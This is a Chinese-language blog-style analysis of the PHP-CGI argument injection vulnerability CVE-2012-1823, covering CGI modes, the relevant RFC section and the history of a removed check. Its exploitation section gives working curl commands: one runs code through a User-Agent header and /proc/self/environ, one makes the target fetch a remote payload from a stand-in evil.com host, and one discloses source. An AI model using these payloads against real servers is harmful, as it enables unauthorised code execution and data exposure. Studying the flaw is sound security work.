首先说明只是自己的一些理解和看法,能力有限如有错误望请指正,谢谢。 1、php三种模式 php运行一般有三种运行模式:CGI模式、DLL模式、FastCGI模式。 CGI模式:如果客户机请求一个php文件,Web服务器就调用php.exe(php5:php-cgi.exe)去解释这个文件,然后再把解释的结果以网页的形式返回给客户机,fork-and-execute 模式。 DLL模式:Apache直接加载模块进行启动。 FastCGI模式:FastCGI是cgi的升级版本,启动后一直运行,不需要每次都fork一次。
2、整体流程 在这个RCE中,触发的整体过程如下: 用户提交的数据—>判定提交数据中是否有未编码的’=‘–(无)–>对该字符串进行解析—->转义元字符—->生成命令参数列表—->提交给CGI程序—->CGI进行处理。 从CGI RFC的标准说起,原文:
4.4. The Script Command Line Some systems support a method for supplying an array of strings to the CGI script. This is only used in the case of an ‘indexed’ HTTP query, which is identified by a ‘GET’ or ‘HEAD’ request with a URI query string that does not contain any unencoded “=” characters. For such a request, the server SHOULD treat the query-string as a search-string and parse it into words, using the rules search-string = search-word *( “+” search-word ) search-word = 1*schar schar = unreserved | escaped | xreserved xreserved = “;” | “/” | “?” | “:” | “@” | “&” | “=” | “,” | ”$” After parsing, each search-word is URL-decoded, optionally encoded in a system-defined manner and then added to the command line argument list. If the server cannot create any part of the argument list, then the server MUST NOT generate any command line information. For example, the number of arguments may be greater than operating system or server limits, or one of the words may not be representable as an argument. The script SHOULD check to see if the QUERY_STRING value contains an unencoded “=” character, and SHOULD NOT use the command line arguments if it does.
理解: 一些系统为了让CGI程序获取查询参数。处理如下,只允许有索引的查询(比如说GET,HEAD,同时提交参数中不能有未编码的’=‘),成功的话服务端程序就需要把这个查询字符当做搜索字符,并解析为不同字符,并按照规则进行处理,例如: [code lang=“php”] search-string = search-word ( “+” search-word ) //查询字符 search-word = 1schar //提交的字符 schar = unreserved | escaped | xreserved //解析后的结果 xreserved = “;” | “/” | “?” | “:” | “@” | “&” | “=” | “,” | “$” //需要转义的字符[/code] 通过解析后,就把这些字符添加到参数列表中。如果服务器不能创建参数列表,那么就不需要生成任何命令信息。同时如果查询参数中包含有未编码的’=‘,那么就不用解析参数。 通过对Apache处理CGI RFC中发现,如果查询字符中未包含未编码的’=‘,那么字符就会用’+‘(编码的空格)符号进行分割,然后进行元字符转义,最后传递给CGI程序。 但是不幸的是,PHP开发者忘记了RFC这部分内容,在2004年移除了这部分与其他地方冲突的代码,原文如下:
From: Rasmus Lerdorflerdorf.com> Subject: [PHP-DEV] php-cgi command line switch memory check Newsgroups: gmane.comp.php.devel Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago) In our SAPI cgi we have a check along these lines: if (getenv(“SERVER_SOFTWARE”) || getenv(“SERVER_NAME”) || getenv(“GATEWAY_INTERFACE”) || getenv(“REQUEST_METHOD”)) { cgi = 1; } //在这里进行判定,如果CGI程序运行在网络环境中,不对提交的参数进行解析,这样是没有漏洞的,但是由于某些原因进行了移除。 if(!cgi) getopt(…) As in, we do not parse command line args for the cgi binary if we are running in a web context. At the same time our regression testing system tries to use the cgi binary and it sets these variables in order to properly test GET/POST requests. From the regression testing system we use -d extensively to override ini settings to make sure our test environment is sane. Of course these two ideas conflict, so currently our regression testing is somewhat broken. We haven’t noticed because we don’t have many tests that have GET/POST data and we rarely build the cgi binary.
3、利用 查看php-cgi.exe的参数。 -s Display colour syntax highlighted source. -d foo[=bar] Define INI entry foo with value ‘bar’ -n No php.ini file will be used 导致的漏洞可以源码泄漏,本地包含和远程包含,copy GaRY的利用代码。 (1)本地包含直接执行代码: curl -H “USER-AGENT: <?system(‘id’);die();?>” http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
(2)远程包含执行代码: curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
(3)查看源码 http://target.com/test.php?-s 自己看了下php5中的php-cgi.exe貌似没有-r参数。
4、参考: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ http://zone.wooyun.org/content/151